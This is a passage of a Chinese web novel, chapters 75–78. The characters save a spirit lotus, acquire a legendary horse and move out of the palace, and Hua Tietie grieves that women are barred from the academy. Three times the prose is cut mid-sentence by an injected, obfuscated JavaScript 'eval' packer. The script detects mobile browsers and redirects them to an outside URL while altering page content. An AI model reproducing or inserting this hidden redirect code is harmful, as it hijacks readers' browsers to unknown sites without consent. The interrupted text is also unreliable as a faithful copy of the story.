只听花铁铁继续为自己辩解:“……我也没想全给她吃了,就打算跟灵藕好商好量,要一小节藕根而已。谁知这灵藕上来就大喊大叫,把自己叫死了,能全赖我吗?为了挚友,我大半夜的我觉都不睡了,不辞辛苦,弄了一身淤泥,我哪知道这小东西这么肯死!” 花铁铁委屈极了,可她不会允许自己哭的,只愤怒的别过头去:“说什么一家人,呸,一家人,用那种眼神看我啊。” 众人闻言,神色又几经变换。堂邑夫上前安慰,拿着帕子给她擦脸上的淤泥。花铁铁耍着小性子,跟他闹别扭,来回摆头躲着不让他擦。其他人也都说了软话,叫花铁铁别生气了,花铁铁这才舒缓下来。 我和薛环从密林中走出来,看了看花铁铁和她手里的灵藕,叹了口气。 花铁铁看着我,道:“炖汤还是清炒?藕的吃法挺多的,就单这么洗洗打打皮,生啃也好吃。反,反正都死了。”说完,有些愧疚地看着我。脏兮兮可怜巴巴的样子,分明在示意我,她已经知道错了,我不能再责怪她了。 她真的让我又气又无语,还带着些许感动,我是一点招儿也没有。 平安忙上前阻拦道:“不能吃,不能吃。” 众人只觉平安善良,不忍心这灵藕,落得盘中餐的下场。 可花铁铁却很不理解,在她看来一根藕而已,吃了就吃了,而且她费事挖上来的,不吃对不住她的辛苦,便蹙着眉头问为啥不能吃。 柳延年道:“因为吃藕,丑!” 75. 狮子骢 吃藕,丑?! 虽然并不明白,吃藕,为什么会丑,但我本来也没有打算吃灵藕,这么一来,我就更不吃了。 花铁铁大骂柳延年:丑你爹! 眼见又要闹起来,我急忙安抚住花铁铁,无力地对她说道:“铁铁,你的好意我心领了,可我是真不想吃,辛苦你再把它栽回去吧,这种灵力微弱的生灵,修行不易,也很容易散功,无端遭此一劫,实在可惜,别忘了给它磕个头认错,也算超度了。” “栽回去就不错了,还给它磕头?!我才不要,哼!”花铁铁嘴硬,却也听话的转身向湖边走去。 薛环上前道:“且慢,这灵藕还有得救,它只是修为不高,且之前大部分灵力都用来开花结籽,是以本体胆魄心胸度量,都修炼的不够宽大,轻易就气闭命门,封了灵识而已,其实未伤及根本,我有法子可以挽救,待它恢复,重开灵识,还可延续修行,继续修炼。倘若随意将它重新栽入湖中,不管不顾,反倒是害了它,那湖中鱼鳖虾蟹虽是凡物,并无灵识,却也天性知晓什么是好东西,必定趁它无力自保,蜂拥而上分而食之。” 原本薛环对花铁铁的行为,也是很愤怒的,在丛林里,懑懑不已,远胜于我。但他此时情绪好稳定,语气平淡,完全对事不对人,只冲着解决问题去,一点没有代入自己方才的情绪。 他这样子,又让我愣了愣,我和堂邑夫对视了一眼,见他分明和我心意相同:这个薛环实在和杜晦太像了!!! 薛环见我和堂邑夫,又露出那种不可置信的神情,好似有些开心,不由得勾起唇角,旋即收敛。 我和堂邑夫对视,确定彼此都没看错,薛环是笑了一下。可不等我们细细探究,薛环便叫花铁铁先捧着灵藕到湖边等着,他自己则转身进入密林,去树屋那里拿了一个洗脸的木盆回来。 正好花铁铁浑身淤泥,便叫她端着盆子到湖里,取些淤泥上来。花铁铁为了挽救灵藕,一一照做,毫无怨言。 随后,薛环将灵藕麻利地种到盆中,一边在湖边洗手,一边对着郑清道:“郑清,之前消失的青莲,其实被你吸收了,如今你体内有青莲灵气,与这灵藕同根同源,救治它的关键就在你身上了。” 薛环起身,让郑清将上衣解开,只见郑清壮硕的胸口上,隐隐一朵半开的青莲,泛着金光的青色银线,勾勒着花朵的轮廓,随着皮下血液的流动一闪一闪的。 莫说旁人,郑清自己也惊了一下,低头细细端看,感叹之前竟毫无察觉心口多了一朵青莲。 “哇,好美啊,好迷人啊……”平安花痴地上前一步看着郑清。 站在平安身后的我和花铁铁,清晰地感觉道平安咽口水了。我们将平安拽回来,眼神示意她矜持。 可其实,刚才我和花铁铁也没好到哪去。不过,我敢说,没有任何一个女人看到郑清心口生莲的那副情景后,内心能保持沉稳,毫无波澜。 柳延年把我们三个女孩子的神情尽收眼底,有些不服气的样子,酸溜溜的嘀咕,他浑身都能放光,比这好看一百倍。 没人理他。 薛环说要取郑清的心头血滋养灵藕,每九日一次,九九八十一天后,灵藕便会恢复。 我们以为是要在郑清心口扎一针,却见薛环向我借了银针,竟只在郑清左手中指指尖刺了一下。 然后让郑清催动内力,聚气于心口,随着内力凝结,郑清胸口原本半开的青莲,怒放开来,青色的金光携带着殷红的血液,一丝一丝,顺着心口的脉络,向上直到锁骨,肩头,然后沿着左臂皮下鼓起的粗壮的血管,一路向下,最后在中指指尖沁出一滴闪着美丽华彩的血珠…… 血珠落入盆中,灵藕随之荡漾了一下,瞬间将其吸收,闪了一下光芒,便又快速暗淡下去。 我们不知道这算不算成功,有些紧张地看着薛环,得到确定的答复,才安心地舒了口气。 薛环叮嘱郑清接下来的九九八十一天,都要将灵藕带在身边好生照料,待灵藕康复,也算他偿了误吸青莲的恩情。 又说,那朵青莲已经成为郑清的命莲,会根据郑清武道修为程度的提升而慢慢开放,等他武力达到全盛时,青莲便会开到巅峰。在那之前,若郑清遇强敌对战,达到武力极限,或危机之时,青莲也会护主,自身灵力瞬间爆发,达到怒放状态,供主人借力一搏,保其全身而退。 果然是好东西! 没想到,郑清还有这一番际遇,大家都很开心。只郑清低头看了看胸前的青莲,又看了看我,抿了抿嘴,很是愧疚的样子。 我自然知道他为啥愧疚,无非是因为这朵青莲原本是薛环守护着,要给我治病的,没成想,误打误撞却成了他的命莲。 可是各人有各人的命,有啥好愧疚的,这青莲没等到结出籽来治我的病,就是我不该得,我此时要是善解人意,上前贴心的安抚郑清,去安慰他,哪怕只说一句没事,别放心上。都好像认定这朵青莲就是我的,坐实他抢了我的机缘一样。所以不管他有多愧疚,我都不能接这茬,我能说什么啊?我什么也不能说!郑清这小子看事情的能力还差着火候,有待提高。 于是,我避开他的视线,只崇拜地问薛环,他怎么懂得那么多。薛环只说是从鬼城的密宗典籍上看到的。 果然,鬼城是一个很好的挡箭牌,什么问题只要引到鬼城上,就全说的通了。 那边懂事的堂邑夫已经把郑清拉到一边岔开话题,带上柳延年,一起聊别的了。 平安帮着花铁铁在湖边清洁梳洗…… 我和薛环回树屋,不一会儿,众人寻来,参观树屋,好在树屋结实,虽然拥挤,却纹丝未动。 这晚,郑清兴奋地睡不着,便守着篝火打坐运气,感觉神情气爽,仿佛脱胎换骨,和之前大大不同,原本他停在四品,迟迟难以突破,如今有了青莲加持,天亮的时候,便晋升到了五品。 郑清还对青莲一事多有芥蒂,于是晋升这等喜事并未透露半句,与大家分享喜悦。但我和花铁铁堂邑夫岂会感觉不到,见他如此,便也只做不知。 早饭后,我们收拾好行囊准备启程,灵藕交给堂邑夫保管,我们都很放心。薛环牵着一匹青白毛色,长鬃翩翩的骏马,带着他树屋的行囊,穿过林子,前来与我们汇合。 看到薛环的马,只那一眼,郑清立即不淡定了,忙迎上前,围绕着马儿审视,如同看见绝世珍宝一般,激动地问道:“难道这是,这难道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034726|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传说中的狮子骢?还是匹牝马!!” 狮子骢,老唐最负盛名的千里马!!本来众人就被这俊俏的马儿惊艳,闻言更是一惊。 平安和柳延年一听是千里马,拥上前观赏,还吟诵什么文章,但好像两个人都不太会背的样子,争论起来,我只听的什么“世有伯乐而后又千里马,千里马常有而伯乐不常有云云……” 郑清问薛环如何得此良驹,薛环风轻云淡,道:“偶然得之。” 我信你个鬼!小黑那匹大宛公马,我们都费尽千辛万苦,才弄回来。一匹母马,你偶然得之?? 这个薛环,绝对是个千层点心,我倒要等着看看他里面究竟是什么馅儿。 薛环嘴巴紧,郑清再问不出什么了,便也作罢。 薛环邀我同乘一骑,我自然愿意骑一骑这传说中的千里马狮子骢,欣然答应。 骑在骏马背上的薛环,驱马过来,腰身跟着马儿的行动,有节奏的前后摆动着,样子帅气极了,在我眼前站定,他居高临下,微微笑着,稍稍附身伸手过来拉我,我顺势飞身上马,薛环很自然的将我环住,一手牵着缰绳,一手轻扬马鞭,双腿在马肚子上一夹,“噘!” 接连熟悉的行为动作,和最后那声近乎原汁原味的调调,让坐在薛环身前的我不由的和堂邑夫对视一眼,花铁铁也若有所思的样子,之后一路上她都魂不守舍,欲言又止。 我自然知道她为何如此,这么多年,我们遇到的所有会骑马的人,虽各有口音,各有腔调,但喊的都是“驾”。只有一个人天生犟种,偏习惯喊“噘”,而那人已经死了,就死在我们眼前…… 可当时疑窦丛生的我们,想破脑袋都想不到,眼前人就是那个人!!! 回京以后是要向上位者禀报行程的,我们提前串了一下说辞,我们肯定不会说谎,但降龙伏虎的过程要美化,有些事情要不着痕迹的隐去,有些事情要稍作改动使叙事流畅,还有些事情要突出危险艰苦,以作邀功请赏之用…… 再有就是,我家神君去哪了,他真是太爱乱跑了!唉,竟然一点也不担心我寻不见他会着急,等他回来,我得好好劝谏劝谏这位大神主子,可别摇哪乱跑了。怎么能因为不想人前为奴,就老跑出去不见踪影呢?真是! 一路平安顺遂,一入京畿地界,我们便按计划,把狮子骢暂时放归山林。 我们先去上林苑养马场换马,堂邑夫将盆栽灵藕交给郑清,便带着薛环直接回了学宫。柳延年先回万园街看看,然后回乐府销假上值。 我和平安,花铁铁,三人一出马场,就远远看见惠王和齐王带人来接我们回汤泉宫,一路说说笑笑。 七皇子的身体恢复健康,不日就要归国。惠王的病情,他和我心知肚明,调理的汤药,继续喝着便是。 我们回来的日子推迟了一些,师侄已然按照我的嘱托进宫为七皇子刘橡制药,刘橡服下以后,又睡了过去,是以并未一同前来迎接我们。 回到宫中,沐浴更衣,拜见天子,给天子请了平安脉,一切安好。 我们此行收获颇丰,天子甚喜,给了不少赏赐。设宴款待,席间我们绘声绘色的讲述此行经历,上位者们听得津津有味,甚是开心。 76. 出宫 花铁铁此行因为读书少,差点错失祖传的六合觉龙枪,而幡然醒悟,如今不仅不再抵触读书,还下定决心刻苦学习。上位者们身子也都大好,于是我们请求搬出汤泉宫,回我长安城中的宅子居住,聘请一位德高望重有学识的大儒,来家里讲学,教花铁铁读书。 皇帝刘景虽然对我们很是不舍,却也应允。还特意下密旨请学宫五经博士庄仲,为铁铁讲学。 庄仲是太子近臣庄助的小叔祖,学宫前任祭酒,是北汉有名的大儒,德高望重,人人敬仰。两年前主动辞任祭酒一职,在学宫深居简出,潜心修复经典,致力著书论著。 能听他讲一堂课,已然三生有幸,何况是做他的学生,我激动地赶紧拉着,承了大恩典却不明所以一脸茫然的花铁铁,跪地磕头谢恩。 七皇子刘橡醒后听说我们回来了,便到潇湘馆来找我们,他精神果然大大见好,行为举止已与常人无异。刘橡见我们收拾行李,要出宫回家读书,便请旨想跟着我们出宫一同上学。 我想着刘橡还剩三服药,若能带在身边,伺候汤药,时时看护,比我宫里宫外来回跑,倒好得多。再有,这世间事,大多如薛环说的那样,越是虔诚,到最后紧要关头,越容易出岔子,搁眼皮底下,我也放心。 皇帝刘景相信我的能力可以保护照看好皇子,也担心轻易驳回请求,会让已经见好的刘橡再受刺激,前功尽弃,自然顺着儿子心意,恩准出宫外居。 贤贵妃多有担忧,嘱托完随行的贴身宫婢和太监小心伺候,又交代刘橡千万要听话,要懂事云云,刘橡点头一一答应,便和他的父皇母妃行礼告别,临行前还信誓旦旦的承诺会好好上学读书。 读不读书的,倒无所谓,本来也不指望七皇子刘橡能读出什么成就,能好好的不再发病,就烧高香了。 皇帝和贤贵妃看着满脸认真的儿子,扯了扯嘴角,笑了笑。 出宫上了马车,刘橡便又沉沉昏睡了过去,雷打不动。 平安觉得皇子外居是大事,虽然我和花铁铁有绝对的能力保护安全,但终归捧着个金豆子,还是个有疯疾的金豆子,一个疏忽,有个万一,如何交代?此举叫人心中甚是不安。便问我们为什么不在宫中继续住着,等七皇子好了,再出宫忙铁铁读书的事。 我说:“铁铁读书也是同等大事儿,光阴似箭,一日也不能耽搁。”其实在我心里,现在首要任务就是花铁铁把书读好,知书达理,少惹是非。若非如此,倒还真能在宫里多住些时日。 花铁铁直接大剌剌地说她觉得我根本多此一举,说一开始就应该请庄先生直接到宫里讲学教她读书。这样既方便我医治七皇子,七皇子也想不到跟着一起上学这茬儿,她还能落一清净。 花铁铁十分非常不太愿意和七皇子做同学,她觉得七皇子肯定会在课堂上大睡特睡,会耽误她好好学习。 你还不愿意七皇子给你做同学,但凡他没病,你给他提鞋都不配。再说,他都睡着了,能耽误你什么啊?他不睡觉,发大疯,才耽误吧。 这也不算啥,搞笑的是她居然想在宫里读书,哎呦我天,陛下能请庄先生给你上课,已经是天大的恩典了,你还痴心妄想在宫里读书?!!花铁铁,疯的人是你吧? 我头一疼,扶着太阳穴,无奈自嘲道:“咱们什么东西啊,敢在宫里上学读书?宫中开设的学堂,叫宫学,别说请庄先生单独到宫里开设课堂教你读书了,即便是打着七皇子读书的幌子,咱们都没资格当伴读,蹭课上。” 宫学,是专门给皇子开设的学堂,上课规矩众多,其中之一就是清场,只留皇子与伴读,也就是说真要开设宫学,没有资格做伴读的花铁铁,连扮作洒扫太监奉茶宫女,在外面听一耳朵机会都没有,上课前就给撵的远远的了。 退一万步讲,在宫里上学读书这事,但凡要是能行,陛下直接就留咱们在宫里了,还叫七皇子跟着咱们外居啊。陛下傻啊,不知道省事啊,兜这么圈子,好玩啊。 一天天的,想什么呢?还请庄先生直接到宫里讲学,教你读书?疯了吧你,我的花大姐!!? 那庄先生到私塾讲学,不是什么大事,毕竟大儒都会外出讲学。可是进宫讲学,就不一般了,哪个大儒是哪个皇子的老师,哪个皇子是哪个大儒的学生,这些都是涉及政治立场,关系朝堂布局的事儿。稍不留意,就可掀起风波。 读书的不管是疯疾未愈,总是昏睡的七皇子,还是一个身份低微的更衣宫女,只要不是个正常的皇子,此举都只会被过分解读,还以为皇帝太子又有什么大动作,故意整这种没有先例,特别不合逻辑和规矩的事情出来,声东击西,打马虎眼。 就算事后政敌发现不是他们想的那样,也不会因为误伤,感到抱歉,相反作为政敌,他们只会觉得自己政治觉悟高,警惕性超强,能提前洞悉,迅速决策,实为天选,神来相助,才误打误中,轻而易举破坏这边的部署,不费吹灰之力,就赢麻了。 之前太后就是捕风捉影,忽然将太子太傅少傅降罪下了大狱,打了皇帝太子一个措手不及,前些日子才刚刚将人救出来,外放楚国,随行秦王赴任。 我对皇帝后来又借着秦王在宫学读书的事,突然发难,以后宫干政,降位禁足淑贵妃,敲打长公主,反击太后的事,绝口不提。 只道这种亏怎么能吃两回呢?若陛下不长记性,还为了花铁铁能读上书,就盲目下旨庄先生进宫讲学,太后必定扭头就找个由头,给庄先生下大狱,就算事后皇子太子再将人救出来,也无法恢复天子在儒生心中损耗的威望,是以此事断不可行。 花铁铁和平安听完我的分析,点着头细细回味。不懂的地方,我又一一讲解。最后赶紧结束话题,说朝堂上的事,风云诡谲,道道多着呢,不是一句两句就说明白的,当务之急,就是花铁铁赶紧静下心来,在家把书读好。 哎,虽然我有的是耐心,但好多事情,老得用嘴说,说不透彻还不行,我也是真累啊。 这也就是花铁铁和我妹妹,要堂邑夫也这么费劲,我早让他滚了。 刚安排好刘橡住处,惠王齐王就微服私访,来凑热闹,还自带行李,要小住几日,说是齐王不日就要离京,赴国之前,他们兄弟三人在我家增进一下手足感情。我天啊,身为大汉亲王,跑人家里增进感情?我真是呵呵呵了! 惠王提笔,给我的宅子赐名:安园。我欢喜的叫管家拿去制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037866|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作匾额,待来日亲自挂上。 翌日,齐王惠王在凉亭里喝茶品茗,我和花铁铁,刘橡,三人正在和仆从布置教室,收到一则意料之中的喜讯,郑清因为在上林苑山林中俘获并驯服一匹血统名贵的野马,而获得天子召见。 据上林苑马政太仆卿和上驷院卿推断,这匹马是具有大宛千里马血统的狮子骢,乃老唐时期皇家御用之马,应该是大乱战时期,皇家马场被奴人捣毁冲散,漏网的马儿逃入深山之中,经过几代繁衍,存留下血脉,如今现世,预示我大汉国运昌盛。 获此良驹,刘景十分高兴,便问郑青要什么赏赐。 这件事是我们回京路上策划好的,原本只是预期上头能给郑清升官,没想到竟是御前召见,还是问赏。如此荣光,震惊众人。 平安一大早便去上林苑找郑清,当时就在场,还以为郑清会请陛下赐婚,没想到郑清毫不犹豫地说想去学宫读书。平安虽然失落,但也为郑清的发奋图强,积极向上而高兴。 刘景看了看平安,想起我们说在秦岭之中,做荷叶鸡,去采荷叶的时候,偶得一株灵藕,郑清还幸运的成了青莲之主,于是叫郑清展示了一下胸口的莲花印记,天子一见便知不是凡尘俗物。 之前郑清不可近皇帝身,他又格外低调内敛,远远的很不起眼,刘景也没留心,只是听我和平安这些人嘴里念叨过。如今细看,只觉郑清容貌甚伟。 上位者都很是相信气运,刘景想到这青莲偏偏认他为主,这狮子骢偏偏被他驯获,便认定此人运势极佳,日后堪为大用。 又见郑清别无他求,只一心向学,便更生欢喜,随即恩准特赐学宫进学。还特许郑清将灵藕移栽到学宫之中,随时看护,说学宫水土肥沃,定会助它早日恢复。 花铁铁原本不敢奢望去学宫上学,却见郑清都能一跃龙门,成了学宫学子,她便按捺不住了,立即去上林苑“偶遇”天子,跪求恩典,也非是要去学宫上学,说还省得庄仲博士来回跑了。 宫学不能上,就去学宫上!? 这般胡闹,刘景岂会应允,断然拒绝。花铁铁失落地回来,我和平安去她房中看她,只觉得她没精打采,有些死了的样子。 她有气无力的问:“为什么啊,为什么郑清驯获一匹马,得了一株莲,就野鸡变凤凰,我身为花家后人,武道已达玄止境,在太子遇刺时还出手相救,投身汉家,忠心耿耿,如今找回六合觉龙枪,必定大有作为,却怎连学宫的门都难以踏入?” 谁说难以踏入了?我道:学宫学子按例都带书僮,一般都带一个,最多可以带三个。书僮除了伺候主人内务,还可以跟着主人一同上课,伺候笔墨。有不少人,都是以书僮的身份,去听学的。 我建议花铁铁可以扮作堂邑夫,或是郑清的书僮,就能跟着一起去学宫上学了。 高傲的花铁铁,根本不屑书僮的身份,断然不肯,她就想光明正大的去学宫上学,才不要做什么书僮,她也要像那些学宫学子一样,只要一亮出腰牌,便被世人追捧敬仰。 “这不是痴人说梦吗?你是女子,女子是不能入学宫,成为学宫学子的,便是公主也不行。”不然皇帝干啥拒绝你啊?我真是头疼! 77. 醒悟 平安灵机一动说:“女子不行,那学祝英台女扮男装不就行了,铁铁的男装无懈可击。” 哎呀我滴妹儿啊,女子不行,不是女装不行,女扮男装什么啊,还祝英台,还无懈可击,学宫和书院能一样吗? 哎呦我天,这都出的什么破主意啊,咱开口前能不能过过脑子。我脑仁疼,能不能别再动不动灵机一动了!! 那个死花铁铁听了,居然还眼睛一亮,我真是无语到头了。但凡这个主意能行,我能等你提出来吗,我的妹妹? 学宫是大汉顶级学府,真不是谁想进就能进的,任何人想要做学宫学子,第一关必须取得入学资格,没有资格,你长了倆鸡,也不让你进啊! 这资格,首先便是出身门第,学宫学子一般都是世家望族,功勋贵胄的优秀子弟,二来就是堂邑夫这种亲王为国举荐的贤良,三来便是郑清这种因功御赐入学的。 花铁铁要是男的,应该是第三种,但就目前看皇帝那边肯定是不行的,花铁铁那个傻子上来就给人刘景一口回绝了。眼下除非齐王惠王不想活了,冒着欺君之罪,给造个假身份弄个名额推荐花铁铁入学,否则,她死也进不去。 所以连入学资格都没有,还女扮男装什么啊?再说,女扮男装就真成男的了? 学宫学子入学,第二关就是验明正身,查看身体是否有残疾隐疾,那是要脱个精光的。 花铁铁易容术是挺高的,可光听声音,光看脸,像个男的有什么用,就算身形装扮的再像,一脱衣服倒是也没啥病,就是该有的没有,该没有的有,一个鸡没有还长倆扎,这都不露馅,验身的几个太医院医官都是瞎子吧。 退一万步讲,遇上的全是瞎子,女扮男装愣是没查出来,侥幸让你过关。甚至齐王惠王为你冒死弄来入学资格,所犯下的欺君之罪也能逃脱,可是换了性别,伪造户籍,冒名入学,就算学有成就,又有什么用?终究不是花铁铁本人了啊!若是世间再无花铁铁,一切努力为啥呀? 花铁铁和平安闻言,这才犹如醍醐灌顶,幡然醒悟。 再说,花铁铁你的志向是学宫学子吗?你读书不是想有了学识更好的做将军,恢复花家军建制,收复河西之地,复兴花家将荣光吗? 二人对我的分析很是赞同。花铁铁无可奈何地摇摇头,长长叹了口气,下一刻眼中再次失去光彩,整个人又蔫得有点死了。 学宫学子的身份那么光鲜亮丽,高高在上,实在太具有诱惑力了,尤其花铁铁见过几次堂邑夫亮明学宫腰牌以后,备受世人崇拜敬畏的情形,再加上郑清如今也鱼跃龙门成了学宫学子,她就有了执念。 她一向出众,样样拔尖,处处优秀,就因为是个女儿身,便被皇帝刘景断然拒绝,这对好胜要强的花铁铁来说不亚于冷水泼面当头棒喝,她素来心高气傲,如今又失里子,又没面子,一时间难以接受,心情堕入谷底,也是正常。 这边花铁铁还在难受,那边平安歪着头道:“我不是强行降智,我只是不懂,既然女扮男装不能行,那你为啥还让花铁铁扮作书僮去学宫,书僮不用验身吗?” 对啊,书僮不用验身啊,要是验身,我还能成为堂邑夫的书僮进学宫吗? 书僮一般都是学宫学子的家生子,是仆从,是伴读,是亲信,更是心腹,不出差错是要跟在主子身边一辈子的,相知相伴,一同上学,一同长大,主有提携,仆有帮衬,荣辱与共,生死相依。书僮是学子身边顶顶要紧的人,所以学子自家必定先对其经过严格筛选,绝不会在书僮的问题上出现纰漏,断送自家前程。 书僮有学子自家作保,又属于学子的私产,是以学宫不负责审验,只要他们的主子通过学宫考核,他们便会自动获得进入学宫的资格。 书僮也没有年龄限制,有像我这种十来岁的小书僮,也有像田男男那种十四五六的中书僮,还有更年长一些的大书僮。 花铁铁完全可以装扮成中书僮,只要和我一样小心谨慎,不在人前暴露,不出事,不捅到明面上,弄得不可收拾,让学宫颜面扫地,规矩荡然无存,上位者是不会追究我们的,怕会睁一只眼闭一只眼,由着我们好好读书,好好上进,将来大有作为。 而且花铁铁义气,重要的事情,她总拎得清,断然不会在这上面出岔子,惹麻烦,连累我们大家,也叫上位者为难,所以我很放心她做书僮。 解释完,我两手一摊,对着花铁铁道:“呐,现在摆在你面前就两条路,要么在家好好读书,做庄先生的弟子,不比当学宫学子差。如果还执迷不悟,非是想去学宫长长见识开开眼,就只能扮作书僮旁听。” “就因为我是女子,便别无他法吗?” “对,别无他法!” 花铁铁再次失去所有力气,骤然间出了一身虚汗,让她看起来更加意志消沉。 我和平安赶紧宽慰着她,说学宫也就那样,没啥好的,说她以后是大儒庄仲的弟子,那些学宫学子千载难逢才有幸听他一堂课云云。 可是花铁铁完全听不进去似的,只趴在床上,把头埋在被子里,叹了口气,道:“为什么女子就不行,为什么咱们一生下来就偏偏是个女子呢?明明比那些男人优秀一千倍,一万倍,为什么就因为我是个女子,陛下便断然拒绝我做学宫学子呢?我就只配做个破更衣吗?” 天下女子,或多或少,都对自己身为女子而不满怨怼,可在我印象里花铁铁从未对自己的女子之身表露过自卑,无奈和愤恨,这还是我第一次见她如此模样,说不心惊是假的。 以前,她是江湖上叱咤风云,雷厉风行的胭脂虎,花铁铁。她想干什么就干什么,锋芒毕露,锐不可当,她傲娇,她高高在上,受人推崇尊敬,从来没有因为是个女子,就被所谓的规矩拒绝,限定,拿捏,死死框住。 我对花铁铁此时的心情,感同身受,自嘲道:“我还是个破药郎呢,那不都是陛下陪咱们闹,哄咱们玩的吗?是女子怎么了?我还是个长不大的女子呢?别人因为咱们是女子不重视咱们就算了,咱们自己不能瞧不上自己啊。怎么?因为自己是女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037867|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,你之前的豪情壮志就没了?你就不姓花啦,就不做将军啦?” “啧!我自然姓花,我自然要做将……我只是我……”花铁铁顿了顿,手撑着头侧躺着,满脸愁容地烦恼道:“我现在脑子有些乱,心也烦得很,身为女子不能进学宫这事提醒了我另一件事儿,然后我就一下子泄气了,一点力气也没了。” “什么事,让你如此萎靡?你,不会今才发现自己没长鸡,是个女的吧?”我嘟着可爱的小脸,满眼惊讶又认真地问道。 平安捂嘴轻笑,用手拉了拉我的衣角,示意我花铁铁正烦着呢,让我别胡闹。 “滚,你!”花铁铁也被我气笑了,轻推了我一下,道:“我是想到,身为女子不能进学宫,也不能进军营啊,不能进军营,我还怎么当将军啊?” 我还未开口,坐在花铁铁床边的平安,嚯的一下站起身来,义愤填膺,豪情万丈的对花铁铁道:“怎么不能当将军了,武则天都能当皇帝,你怎么就不能当将军?怎么就不能进军营了,当将军进军营的女人多了,最出名的女将军,和铁铁一个姓,叫做花木兰。” 我和花铁铁被平安突如其来的举动和话语,惊得愣了一下,听她把话说完,不由异口同声道:“花木兰!!?” “对,花木兰!最负盛名的女将军!!” 平安激动地给我们讲述了花木兰将军的故事,我和花铁铁叹服不已,可转头一想,那不还是女扮男装吗? 花铁铁要恢复并延续花家荣耀,她不能做一点假,不能领受天子恩,卸甲归田后,再对镜贴花黄,花木兰的例子对她不适用。 平安梗了梗,道:“花木兰是代父从军,替的是父亲,不得不女扮男装,但是秦良玉,樊梨花,梁红玉,穆桂英,还有杨门女将,等等等等……都是以女子之身建功立业的女将军。” “可是这些有名的女将军,我一个都没听说过。长安,你读书多,你听闻过吗?”花铁铁茫然地转头问我。 我背后一紧,这些都是平安在另一个世界看到的,我哪知道。 平安也慌了,我连忙道:“我读书太多,有些混乱,隐约记得,但也记不太清了。” 花铁铁于是叫平安给我们挨个讲一讲,平安涨红了脸,憋了半天,说她只记得这些女将军的名字,残卷典籍上记录的相关事迹也不多,而且年代久远她也记不清了,…… 花铁铁一下子又气恼沮丧起来:“那还当什么女将军啊,浴血奋战一辈子,事迹没留下几句,就只有一个名字,还几乎没人听过,有啥意义啊?我看我下辈子投胎做男人再做将军吧。” “她们挺出名的,是因为大乱战典籍失散,所以才不被人知晓的。”平安努力找补,企图让花铁铁不要泄气,不要丧失斗志。 “可我们花家将的故事就永流传啊,唉,说到底,这世间,对女子就是不公,不管女人做出多大的功绩,还是会被死死打压,被忽视甚至无视。唉,赶紧死了算了,不想活了。”花铁铁失望透顶的样子,越发自暴自弃起来。 78. 生而为女 “铁铁……”平安一听到“死”字,眼圈一下子就红了。 “花铁铁你够啦,别动不动死啊活啊的,这些气话你发发牢骚说说得了,别老是挂嘴边上翻来覆去的,再说下去我妹妹该当真了。瞧瞧你这副样子,根本都不像你了。一身绝世的武艺,一把六合觉龙枪在手,顶着花家的宿世渊源,你想做将军,根本不用等下辈子投个男胎。”我嘴上斥责,实则抬举。 花铁铁缓缓舒展开了蹙着的眉头,平安也抹去眼泪。 我做在床边,正好瞥见梳妆台,镜子里小小的身影,我鼻子有些酸,心中难过,悲戚不已,虽然都是女人,你们还能长大,我呢,我一辈子就只能是个残疾,要是死有用,我早死了重来了。 我忍着难受,语气一转,坚强道:“哼,什么下辈子,哪来的下辈子,这辈子没做成的事下辈子就能做成了?喝了孟婆汤,下辈子谁是谁都不知道了,你便是托生成了个男人,你还记得这辈子你是花铁铁吗?你还能有这一身武艺吗?你要是都不姓花了,六合觉龙枪也不认你,你怕是更难受!” 花铁铁闻言撅着嘴巴,低头不语,她这样子便是真心认同我的话,知道错了的意思。 平安也感触良多,伏在床上,忍着抽泣哽咽道:“我们只有一个此生而已,一辈子有一辈子要认识的人,要做的事。上辈子我不认识你,你不认识我,在哪里做什么都毫不相干;下辈子你不记得我,我不记得你,对面不识擦肩而过再无瓜葛。那样的前世来生即便咱们都是身为男子,自立门户出入自由,独当一面大有作为,封侯拜相,名垂青史,可对于今生今世的咱们又有什么意义呢?那都不是我们,我们只有这一个此生,只有这辈子才是我们的,聚在一起,相知相伴,我们才是我们,咱们这辈子生而为女人,百般煎熬诸般束缚,可是这些辛苦算什么,能和你们在一起,我就值了。” 我擦了一下眼睛,附和道:“对,你们在一起,这辈子我也值了。” “我也值了。我再也不说气话了,我们都好好活着,为自己,为彼此。”花铁铁激动的抱着我们。 我们三个紧紧相拥在一起。 “生为女子有些事情做起来就是要比男人难一些,但那又怎样,咱们怕吗?” “不怕!” “这不就得了!” 